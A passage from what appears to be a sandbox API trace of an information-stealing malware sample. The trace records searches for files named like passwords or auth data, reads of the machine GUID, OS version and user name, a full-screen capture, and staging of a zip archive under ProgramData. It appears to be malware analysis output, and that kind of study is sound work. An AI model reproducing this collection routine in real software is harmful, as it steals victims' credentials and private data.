pszSpec="*password*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="mtbyKgsBp9ITL0q.wav", pszSpec="*password*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="phZbMj_330X.png", pszSpec="*password*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="UJ3K_uO6cMgmy7zg.flv", pszSpec="*password*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="VRBCI1zk.flv", pszSpec="*password*.*") returned 0 [0099.673] PathMatchSpecW (pszFile="WEdQh.m4a", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="_xRb.wav", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="EDvMoYL", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="ffg4.png", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="srTdgc8WYpda3WAi2Rl.png", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="w zekI-R.wav", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="xFdQgUMwy.png", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="FOg-h_AvoQIw_HJ", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="g2ZwK9.bmp", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="hgucYmyJbQJmLK.wav", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="ht3A.swf", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="j2i7j8UItWZYJ.csv", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="2E2VUJLLm N3CcaeaCt.gif", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="3hAtRVuC3.xlsx", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="Bv-6RbWd7Y0DsEw.m4a", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="dBJ6cQr3Mn6cOVMZ_15.mkv", pszSpec="*password*.*") returned 0 [0099.674] PathMatchSpecW (pszFile="OTOhWvt8XHWdX2Jb-Y9j.avi", pszSpec="*password*.*") returned 0 [0099.675] PathMatchSpecW (pszFile="RlIHjPIHGxNLKdZtxgXD.mkv", pszSpec="*password*.*") returned 0 [0099.675] PathMatchSpecW (pszFile="FfCPM", pszSpec="*password*.*") returned 0 [0099.675] PathMatchSpecW (pszFile="fw4-.avi", pszSpec="*password*.*") returned 0 [0099.675] PathMatchSpecW (pszFile="Tc9-j3lGUjaG6GJI.png", pszSpec="*password*.*") returned 0 [0099.675] PathMatchSpecW (pszFile="UR4TA9fA1.xlsx", pszSpec="*password*.*") returned 0 [0099.675] PathMatchSpecW (pszFile="km0vcCJ", pszSpec="*password*.*") returned 0 [0099.675] PathMatchSpecW (pszFile="m2PaM.avi", pszSpec="*password*.*") returned 0 [0099.675] PathMatchSpecW (pszFile="4YFnvn DG0jzD_v88d.wav", pszSpec="*password*.*") returned 0 [0099.675] PathMatchSpecW (pszFile="EpL2Lcy5i7fg_B1.rtf", pszSpec="*password*.*") returned 0 [0099.675] PathMatchSpecW (pszFile="LeEEAupCT2yTi9.rtf", pszSpec="*password*.*") returned 0 [0099.675] PathMatchSpecW (pszFile="QbxigokTDmP9qF7bIHTm.gif", pszSpec="*password*.*") returned 0 [0099.675] PathMatchSpecW (pszFile="MTVwnxmU4D", pszSpec="*password*.*") returned 0 [0099.675] PathMatchSpecW (pszFile="p4At.m4a", pszSpec="*password*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="pmDY1nV.m4a", pszSpec="*password*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="RpU8jg9s7.png", pszSpec="*password*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="sIIXwnEmeTmghbLvRDe.m4a", pszSpec="*password*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="tx3sQn43qrAHw7-df.bmp", pszSpec="*password*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="tzzsZtkMBK_y-2gskd.rtf", pszSpec="*password*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="TZ_q-uezvWtW997Slkqq.png", pszSpec="*password*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="Unrrn7hms.png", pszSpec="*password*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="V9oJDYviCbk0.jpg", pszSpec="*password*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="w1JAUmkNtF5.odp", pszSpec="*password*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="WiMEj.doc", pszSpec="*password*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="z0fYM8SfWqHwA 3.xls", pszSpec="*password*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="Zl8tQFh7Qv.mkv", pszSpec="*password*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="-yRZeNS0HWz.m4a", pszSpec="*auth*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="0hIV.odt", pszSpec="*auth*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", pszSpec="*auth*.*") returned 0 [0099.676] PathMatchSpecW (pszFile="1uAKNwE-0yc6at.mp3", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="4sB35aWlNW.mp3", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="6jSeen9MOc.mp3", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="8plxNnRp.swf", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="DQfg PRtMG 6zUvbPn.swf", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="mtbyKgsBp9ITL0q.wav", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="phZbMj_330X.png", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="UJ3K_uO6cMgmy7zg.flv", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="VRBCI1zk.flv", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="WEdQh.m4a", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="_xRb.wav", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="EDvMoYL", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="ffg4.png", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="srTdgc8WYpda3WAi2Rl.png", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="w zekI-R.wav", pszSpec="*auth*.*") returned 0 [0099.677] PathMatchSpecW (pszFile="xFdQgUMwy.png", pszSpec="*auth*.*") returned 0 [0099.678] PathMatchSpecW (pszFile="FOg-h_AvoQIw_HJ", pszSpec="*auth*.*") returned 0 [0099.678] PathMatchSpecW (pszFile="g2ZwK9.bmp", pszSpec="*auth*.*") returned 0 [0099.678] PathMatchSpecW (pszFile="hgucYmyJbQJmLK.wav", pszSpec="*auth*.*") returned 0 [0099.678] PathMatchSpecW (pszFile="ht3A.swf", pszSpec="*auth*.*") returned 0 [0099.678] PathMatchSpecW (pszFile="j2i7j8UItWZYJ.csv", pszSpec="*auth*.*") returned 0 [0099.678] PathMatchSpecW (pszFile="2E2VUJLLm N3CcaeaCt.gif", pszSpec="*auth*.*") returned 0 [0099.678] PathMatchSpecW (pszFile="3hAtRVuC3.xlsx", pszSpec="*auth*.*") returned 0 [0099.678] PathMatchSpecW (pszFile="Bv-6RbWd7Y0DsEw.m4a", pszSpec="*auth*.*") returned 0 [0099.678] PathMatchSpecW (pszFile="dBJ6cQr3Mn6cOVMZ_15.mkv", pszSpec="*auth*.*") returned 0 [0099.683] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files")) returned 1 [0099.769] GetCurrentHwProfileA (in: lpHwProfileInfo=0x19f688 | out: lpHwProfileInfo=0x19f688) returned 1 [0099.770] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f500 | out: phkResult=0x19f500*=0x4d8) returned 0x0 [0099.770] RegQueryValueExA (in: hKey=0x4d8, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19f504, lpcbData=0x19f4fc*=0xff | out: lpType=0x0, lpData=0x19f504*=0x30, lpcbData=0x19f4fc*=0x25) returned 0x0 [0099.770] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.770] CharToOemA (in: pSrc="03845cb8-7441-4a2f-8c0f-c90408af5778", pDst=0x19f604 | out: pDst="03845cb8-7441-4a2f-8c0f-c90408af5778") returned 1 [0099.770] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f5c0 | out: phkResult=0x19f5c0*=0x4d8) returned 0x0 [0099.770] RegQueryValueExA (in: hKey=0x4d8, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x19f5c4, lpcbData=0x19f5bc*=0xff | out: lpType=0x0, lpData=0x19f5c4*=0x57, lpcbData=0x19f5bc*=0xf) returned 0x0 [0099.770] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.770] CharToOemA (in: pSrc="Windows 10 Pro", pDst=0x19f6c4 | out: pDst="Windows 10 Pro") returned 1 [0099.770] GetCurrentProcess () returned 0xffffffff [0099.770] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19f7c4 | out: Wow64Process=0x19f7c4*=1) returned 1 [0099.770] GetUserNameA (in: lpBuffer=0x19f6c0, pcbBuffer=0x19f6bc | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x19f6bc) returned 1 [0099.771] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116828 [0099.771] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430e80 [0099.771] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116908 [0099.772] GetLastError () returned 0x3 [0099.772] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116858 [0099.772] GetLastError () returned 0x3 [0099.772] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116928 [0099.772] GetLastError () returned 0x3 [0100.401] GetSystemMetrics (nIndex=0) returned 1440 [0100.401] GetSystemMetrics (nIndex=1) returned 900 [0100.401] CreateCompatibleDC (hdc=0x0) returned 0x2e010975 [0100.401] GetDC (hWnd=0x0) returned 0x200106a4 [0100.402] CreateCompatibleBitmap (hdc=0x200106a4, cx=1440, cy=900) returned 0x6b05096b [0101.020] SelectObject (hdc=0x2e010975, h=0x6b05096b) returned 0x185000f [0101.020] GetDC (hWnd=0x0) returned 0x401018d [0101.020] BitBlt (hdc=0x2e010975, x=0, y=0, cx=1440, cy=900, hdcSrc=0x401018d, x1=0, y1=0, rop=0xcc0020) returned 1 [0101.425] GdipAlloc (size=0x10) returned 0x38e1f08 [0101.426] GdipCreateBitmapFromHBITMAP (hbm=0x6b05096b, hpal=0x0, bitmap=0x19f764) returned 0x0 [0101.494] GdipGetImageEncodersSize (numEncoders=0x19f748, size=0x19f74c) returned 0x0 [0101.495] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x410) returned 0x2113168 [0101.496] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x2113168 | out: encoders=0x2113168) returned 0x0 [0101.496] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113168 | out: hHeap=0x2110000) returned 1 [0101.496] GdipSaveImageToFile (image=0x38e1f20, filename="screenshot.jpg", clsidEncoder=0x19f768*(Data1=0x557cf401, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0 [0101.866] GdipDisposeImage (image=0x38e1f20) returned 0x0 [0101.900] GdipFree (ptr=0x38e1f08) [0101.900] DeleteObject (ho=0x6b05096b) returned 1 [0101.900] GdiplusShutdown (token=0x15aa40d) [0101.911] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213")) returned 1 [0101.912] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa) returned 0x2113108 [0101.912] GetTickCount () returned 0x15aa9f8 [0101.916] GetLastError () returned 0x0 [0101.916] SetLastError (dwErrCode=0x0) [0101.916] GetLastError () returned 0x0 [0101.916] SetLastError (dwErrCode=0x0) [0101.916] GetLastError () returned 0x0 [0101.916] SetLastError (dwErrCode=0x0) [0101.916] GetLastError () returned 0x0 [0101.916] SetLastError (dwErrCode=0x0) [0101.916] GetLastError () returned 0x0 [0101.916] SetLastError (dwErrCode=0x0) [0101.916] GetLastError () returned 0x0 [0101.916] SetLastError (dwErrCode=0x0) [0101.916] GetLastError () returned 0x0 [0101.917] SetLastError (dwErrCode=0x0) [0101.917] GetLastError () returned 0x0 [0101.917] SetLastError (dwErrCode=0x0) [0101.917] GetLastError () returned 0x0 [0101.917] SetLastError (dwErrCode=0x0) [0101.917] GetLastError () returned 0x0 [0101.917] SetLastError (dwErrCode=0x0) [0101.917] GetLastError () returned 0x0 [0101.917] SetLastError (dwErrCode=0x0) [0101.917] GetLastError () returned 0x0 [0101.917] SetLastError (dwErrCode=0x0) [0101.917] GetLastError () returned 0x0 [0101.917] SetLastError (dwErrCode=0x0) [0101.917] GetLastError () returned 0x0 [0101.917] SetLastError (dwErrCode=0x0) [0101.917] GetLastError () returned 0x0 [0101.917] SetLastError (dwErrCode=0x0) [0101.917] GetLastError () returned 0x0 [0101.917] SetLastError (dwErrCode=0x0) [0101.917] GetLastError () returned 0x0 [0101.918] SetLastError (dwErrCode=0x0) [0101.918] GetLastError () returned 0x0 [0101.918] SetLastError (dwErrCode=0x0) [0101.918] GetLastError () returned 0x0 [0101.918] SetLastError (dwErrCode=0x0) [0101.918] GetLastError () returned 0x0 [0101.918] SetLastError (dwErrCode=0x0) [0101.918] GetLastError () returned 0x0 [0101.918] SetLastError (dwErrCode=0x0) [0101.918] GetLastError () returned 0x0 [0101.918] SetLastError (dwErrCode=0x0) [0101.918] GetLastError () returned 0x0 [0101.918] SetLastError (dwErrCode=0x0) [0101.918] GetLastError () returned 0x0 [0101.918] SetLastError (dwErrCode=0x0) [0101.918] GetLastError () returned 0x0 [0101.918] SetLastError (dwErrCode=0x0) [0101.919] GetLastError () returned 0x0 [0101.919] SetLastError (dwErrCode=0x0) [0101.919] GetLastError () returned 0x0 [0101.919] SetLastError (dwErrCode=0x0) [0101.919] GetLastError () returned 0x0 [0101.919] SetLastError (dwErrCode=0x0) [0101.919] GetLastError () returned 0x0 [0101.919] SetLastError (dwErrCode=0x0) [0101.919] GetLastError () returned 0x0 [0101.919] SetLastError (dwErrCode=0x0) [0101.919] GetLastError () returned 0x0 [0101.919] SetLastError (dwErrCode=0x0) [0101.919] GetLastError () returned 0x0 [0101.919] SetLastError (dwErrCode=0x0) [0101.919] GetLastError () returned 0x0 [0101.919] SetLastError (dwErrCode=0x0) [0101.919] GetLastError () returned 0x0 [0101.919] SetLastError (dwErrCode=0x0) [0101.919] GetLastError () returned 0x0 [0101.920] SetLastError (dwErrCode=0x0) [0101.920] GetLastError () returned 0x0 [0101.920] SetLastError (dwErrCode=0x0) [0101.920] GetLastError () returned 0x0 [0101.920] SetLastError (dwErrCode=0x0) [0101.920] GetLastError () returned 0x0 [0101.920] SetLastError (dwErrCode=0x0) [0101.920] GetLastError () returned 0x0 [0101.920] SetLastError (dwErrCode=0x0) [0101.920] GetLastError () returned 0x0 [0101.920] SetLastError (dwErrCode=0x0) [0101.920] GetLastError () returned 0x0 [0101.920] SetLastError (dwErrCode=0x0) [0101.920] GetLastError () returned 0x0 [0101.920] SetLastError (dwErrCode=0x0) [0101.920] GetLastError () returned 0x0 [0101.920] SetLastError (dwErrCode=0x0) [0101.920] GetLastError () returned 0x0 [0101.920] SetLastError (dwErrCode=0x0) [0101.920] GetLastError () returned 0x0 [0101.921] SetLastError (dwErrCode=0x0) [0101.921] GetLastError () returned 0x0 [0101.921] SetLastError (dwErrCode=0x0) [0101.921] GetLastError () returned 0x0 [0101.921] SetLastError (dwErrCode=0x0) [0101.921] GetLastError () returned 0x0 [0101.921] SetLastError (dwErrCode=0x0) [0101.921] GetLastError () returned 0x0 [0101.921] SetLastError (dwErrCode=0x0) [0101.921] GetLastError () returned 0x0 [0101.921] SetLastError (dwErrCode=0x0) [0101.921] GetLastError () returned 0x0 [0101.921] SetLastError (dwErrCode=0x0) [0101.921] GetLastError () returned 0x0 [0101.921] SetLastError (dwErrCode=0x0) [0101.921] GetLastError () returned 0x0 [0101.921] SetLastError (dwErrCode=0x0) [0101.921] GetLastError () returned 0x0 [0101.921] SetLastError (dwErrCode=0x0) [0101.921] GetLastError () returned 0x0 [0101.922] SetLastError (dwErrCode=0x0) [0101.922] GetLastError () returned 0x0 [0101.922] SetLastError (dwErrCode=0x0) [0101.922] GetLastError () returned 0x0 [0101.922] SetLastError (dwErrCode=0x0) [0101.922] GetLastError () returned 0x0 [0101.922] SetLastError (dwErrCode=0x0) [0101.922] GetLastError () returned 0x0 [0101.922] SetLastError (dwErrCode=0x0) [0101.922] GetLastError () returned 0x0 [0101.922] SetLastError (dwErrCode=0x0) [0101.922] GetLastError () returned 0x0 [0101.922] SetLastError (dwErrCode=0x0) [0101.922] GetLastError () returned 0x0 [0101.922] SetLastError (dwErrCode=0x0) [0101.922] GetLastError () returned 0x0 [0101.922] SetLastError (dwErrCode=0x0) [0101.922] GetLastError () returned 0x0 [0101.922] SetLastError (dwErrCode=0x0) [0101.922] GetLastError () returned 0x0 [0101.923] SetLastError (dwErrCode=0x0) [0101.923] GetLastError () returned 0x0 [0101.923] SetLastError (dwErrCode=0x0) [0101.923] GetLastError () returned 0x0 [0101.923] SetLastError (dwErrCode=0x0) [0101.923] GetLastError () returned 0x0 [0101.923] SetLastError (dwErrCode=0x0) [0101.923] GetLastError () returned 0x0 [0101.923] SetLastError (dwErrCode=0x0) [0101.923] GetLastError () returned 0x0 [0101.923] SetLastError (dwErrCode=0x0) [0101.923] GetLastError () returned 0x0 [0101.923] SetLastError (dwErrCode=0x0) [0101.923] GetLastError () returned 0x0 [0101.923] SetLastError (dwErrCode=0x0) [0101.923] GetLastError () returned 0x0 [0101.923] SetLastError (dwErrCode=0x0) [0101.923] GetLastError () returned 0x0 [0101.923] SetLastError (dwErrCode=0x0) [0101.923] GetLastError () returned 0x0 [0101.924] SetLastError (dwErrCode=0x0) [0101.924] GetLastError () returned 0x0 [0101.924] SetLastError (dwErrCode=0x0) [0101.924] GetLastError () returned 0x0 [0101.924] SetLastError (dwErrCode=0x0) [0101.924] GetLastError () returned 0x0 [0101.924] SetLastError (dwErrCode=0x0) [0101.924] GetLastError () returned 0x0 [0101.924] SetLastError (dwErrCode=0x0) [0101.924] GetLastError () returned 0x0 [0101.924] SetLastError (dwErrCode=0x0) [0101.924] GetLastError () returned 0x0 [0101.924] SetLastError (dwErrCode=0x0) [0101.924] GetLastError () returned 0x0 [0101.924] SetLastError (dwErrCode=0x0) [0101.924] GetLastError () returned 0x0 [0101.924] SetLastError (dwErrCode=0x0) [0101.924] GetLastError () returned 0x0 [0101.924] SetLastError (dwErrCode=0x0) [0101.924] GetLastError () returned 0x0 [0101.925] SetLastError (dwErrCode=0x0) [0101.925] GetLastError () returned 0x0 [0101.925] SetLastError (dwErrCode=0x0) [0101.925] GetLastError () returned 0x0 [0101.925] SetLastError (dwErrCode=0x0) [0101.925] GetLastError () returned 0x0 [0101.925] SetLastError (dwErrCode=0x0) [0101.925] GetLastError () returned 0x0 [0101.925] SetLastError (dwErrCode=0x0) [0101.925] GetLastError () returned 0x0 [0101.925] SetLastError (dwErrCode=0x0) [0101.925] GetLastError () returned 0x0 [0101.925] SetLastError (dwErrCode=0x0) [0101.925] GetLastError () returned 0x0 [0101.925] SetLastError (dwErrCode=0x0) [0101.925] GetLastError () returned 0x0 [0101.925] SetLastError (dwErrCode=0x0) [0101.925] GetLastError () returned 0x0 [0101.925] SetLastError (dwErrCode=0x0) [0101.925] GetLastError () returned 0x0 [0101.925] SetLastError (dwErrCode=0x0) [0101.926] GetLastError () returned 0x0 [0101.926] SetLastError (dwErrCode=0x0) [0101.926] GetLastError () returned 0x0 [0101.926] SetLastError (dwErrCode=0x0) [0101.926] GetLastError () returned 0x0 [0101.926] SetLastError (dwErrCode=0x0) [0101.926] GetLastError () returned 0x0 [0101.926] SetLastError (dwErrCode=0x0) [0101.926] GetLastError () returned 0x0 [0101.926] SetLastError (dwErrCode=0x0) [0101.926] GetLastError () returned 0x0 [0101.926] SetLastError (dwErrCode=0x0) [0101.926] GetLastError () returned 0x0 [0101.926] SetLastError (dwErrCode=0x0) [0101.926] GetLastError () returned 0x0 [0101.927] SetLastError (dwErrCode=0x0) [0101.927] GetLastError () returned 0x0 [0101.927] SetLastError (dwErrCode=0x0) [0101.927] GetLastError () returned 0x0 [0101.927] SetLastError (dwErrCode=0x0) [0101.927] GetLastError () returned 0x0 [0101.927] SetLastError (dwErrCode=0x0) [0101.927] GetLastError () returned 0x0 [0101.927] SetLastError (dwErrCode=0x0) [0101.927] GetLastError () returned 0x0 [0101.927] SetLastError (dwErrCode=0x0) [0101.927] GetLastError () returned 0x0 [0101.927] SetLastError (dwErrCode=0x0) [0101.927] GetLastError () returned 0x0 [0101.927] SetLastError (dwErrCode=0x0) [0101.927] GetLastError () returned 0x0 [0101.927] SetLastError (dwErrCode=0x0) [0101.927] GetLastError () returned 0x0 [0101.927] SetLastError (dwErrCode=0x0) [0101.927] GetLastError () returned 0x0 [0101.928] SetLastError (dwErrCode=0x0) [0101.928] GetLastError () returned 0x0 [0101.928] SetLastError (dwErrCode=0x0) [0101.928] GetLastError () returned 0x0 [0101.928] SetLastError (dwErrCode=0x0) [0101.928] GetLastError () returned 0x0 [0101.928] SetLastError (dwErrCode=0x0) [0101.928] GetLastError () returned 0x0 [0101.928] SetLastError (dwErrCode=0x0) [0101.928] GetLastError () returned 0x0 [0101.928] SetLastError (dwErrCode=0x0) [0101.928] GetLastError () returned 0x0 [0101.928] SetLastError (dwErrCode=0x0) [0101.928] GetLastError () returned 0x0 [0101.929] SetLastError (dwErrCode=0x0) [0101.929] GetLastError () returned 0x0 [0101.929] SetLastError (dwErrCode=0x0) [0101.929] GetLastError () returned 0x0 [0101.929] SetLastError (dwErrCode=0x0) [0101.929] GetLastError () returned 0x0 [0101.929] SetLastError (dwErrCode=0x0) [0101.929] GetLastError () returned 0x0 [0101.929] SetLastError (dwErrCode=0x0) [0101.929] GetLastError () returned 0x0 [0101.929] SetLastError (dwErrCode=0x0) [0101.929] GetLastError () returned 0x0 [0101.929] SetLastError (dwErrCode=0x0) [0101.929] GetLastError () returned 0x0 [0101.929] SetLastError (dwErrCode=0x0) [0101.929] GetLastError () returned 0x0 [0101.929] SetLastError (dwErrCode=0x0) [0101.929] GetLastError () returned 0x0 [0101.929] SetLastError (dwErrCode=0x0) [0101.930] GetLastError () returned 0x0 [0101.930] SetLastError (dwErrCode=0x0) [0101.930] GetLastError () returned 0x0 [0101.930] SetLastError (dwErrCode=0x0) [0101.930] GetLastError () returned 0x0 [0101.930] SetLastError (dwErrCode=0x0) [0101.930] GetLastError () returned 0x0 [0101.930] SetLastError (dwErrCode=0x0) [0101.930] GetLastError () returned 0x0 [0101.930] SetLastError (dwErrCode=0x0) [0101.930] GetLastError () returned 0x0 [0101.930] SetLastError (dwErrCode=0x0) [0101.930] GetLastError () returned 0x0 [0101.930] SetLastError (dwErrCode=0x0) [0101.930] GetLastError () returned 0x0 [0101.930] SetLastError (dwErrCode=0x0) [0101.930] GetLastError () returned 0x0 [0101.930] SetLastError (dwErrCode=0x0) [0101.930] GetLastError () returned 0x0 [0101.930] SetLastError (dwErrCode=0x0) [0101.930] GetLastError () returned 0x0 [0101.931] SetLastError (dwErrCode=0x0) [0101.931] GetLastError () returned 0x0 [0101.931] SetLastError (dwErrCode=0x0) [0101.931] GetLastError () returned 0x0 [0101.931] SetLastError (dwErrCode=0x0) [0101.931] GetLastError () returned 0x0 [0101.931] SetLastError (dwErrCode=0x0) [0101.931] GetLastError () returned 0x0 [0101.931] SetLastError (dwErrCode=0x0) [0101.931] GetLastError () returned 0x0 [0101.931] SetLastError (dwErrCode=0x0) [0101.931] GetLastError () returned 0x0 [0101.931] SetLastError (dwErrCode=0x0) [0101.931] GetLastError () returned 0x0 [0101.931] SetLastError (dwErrCode=0x0) [0101.931] GetLastError () returned 0x0 [0101.931] SetLastError (dwErrCode=0x0) [0101.931] GetLastError () returned 0x0 [0101.931] SetLastError (dwErrCode=0x0) [0101.931] GetLastError () returned 0x0 [0101.932] SetLastError (dwErrCode=0x0) [0101.932] GetLastError () returned 0x0 [0101.932] SetLastError (dwErrCode=0x0) [0101.932] GetLastError () returned 0x0 [0101.932] SetLastError (dwErrCode=0x0) [0101.932] GetLastError () returned 0x0 [0101.932] SetLastError (dwErrCode=0x0) [0101.932] GetLastError () returned 0x0 [0101.932] SetLastError (dwErrCode=0x0) [0101.932] GetLastError () returned 0x0 [0101.932] SetLastError (dwErrCode=0x0) [0101.932] GetLastError () returned 0x0 [0101.932] SetLastError (dwErrCode=0x0) [0101.932] GetLastError () returned 0x0 [0101.932] SetLastError (dwErrCode=0x0) [0101.932] GetLastError () returned 0x0 [0101.932] SetLastError (dwErrCode=0x0) [0101.932] GetLastError () returned 0x0 [0101.933] SetLastError (dwErrCode=0x0) [0101.933] GetLastError () returned 0x0 [0101.933] SetLastError (dwErrCode=0x0) [0101.933] GetLastError () returned 0x0 [0101.933] SetLastError (dwErrCode=0x0) [0101.933] GetLastError () returned 0x0 [0101.933] SetLastError (dwErrCode=0x0) [0101.933] GetLastError () returned 0x0 [0101.933] SetLastError (dwErrCode=0x0) [0101.933] GetLastError () returned 0x0 [0101.933] SetLastError (dwErrCode=0x0) [0101.933] GetLastError () returned 0x0 [0101.933] SetLastError (dwErrCode=0x0) [0101.933] GetLastError () returned 0x0 [0101.933] SetLastError (dwErrCode=0x0) [0101.933] GetLastError () returned 0x0 [0101.933] SetLastError (dwErrCode=0x0) [0101.933] GetLastError () returned 0x0 [0101.933] SetLastError (dwErrCode=0x0) [0101.933] GetLastError () returned 0x0 [0101.934] SetLastError (dwErrCode=0x0) [0101.934] GetLastError () returned 0x0 [0101.934] SetLastError (dwErrCode=0x0) [0101.934] GetLastError () returned 0x0 [0101.934] SetLastError (dwErrCode=0x0) [0101.934] GetLastError () returned 0x0 [0101.934] SetLastError (dwErrCode=0x0) [0101.934] GetLastError () returned 0x0 [0101.934] SetLastError (dwErrCode=0x0) [0101.934] GetLastError () returned 0x0 [0101.934] SetLastError (dwErrCode=0x0) [0101.934] GetLastError () returned 0x0 [0101.934] SetLastError (dwErrCode=0x0) [0101.934] GetLastError () returned 0x0 [0101.934] SetLastError (dwErrCode=0x0) [0101.934] GetLastError () returned 0x0 [0101.934] SetLastError (dwErrCode=0x0) [0101.934] GetLastError () returned 0x0 [0101.934] SetLastError (dwErrCode=0x0) [0101.935] GetLastError () returned 0x0 [0101.935] SetLastError (dwErrCode=0x0) [0101.935] GetLastError () returned 0x0 [0101.935] SetLastError (dwErrCode=0x0) [0101.935] GetLastError () returned 0x0 [0101.935] SetLastError (dwErrCode=0x0) [0101.935] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f5c0 | out: phkResult=0x19f5c0*=0x2f8) returned 0x0 [0101.935] RegQueryValueExA (in: hKey=0x2f8, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19f5c4, lpcbData=0x19f5bc*=0xff | out: lpType=0x0, lpData=0x19f5c4*=0x30, lpcbData=0x19f5bc*=0x25) returned 0x0 [0101.935] RegCloseKey (hKey=0x2f8) returned 0x0 [0101.935] CharToOemA (in: pSrc="03845cb8-7441-4a2f-8c0f-c90408af5778", pDst=0x19f6c4 | out: pDst="03845cb8-7441-4a2f-8c0f-c90408af5778") returned 1 [0101.935] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x3430f40 [0101.935] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x47) returned 0x33ab1a8 [0101.935] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f40 | out: hHeap=0x2110000) returned 1 [0101.935] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4098) returned 0x33ab988 [0101.935] CreateFileA (lpFileName="03845cb8-7441-4a2f-8c0f-c90408af57786490535655.zip" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\03845cb8-7441-4a2f-8c0f-c90408af57786490535655.zip"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 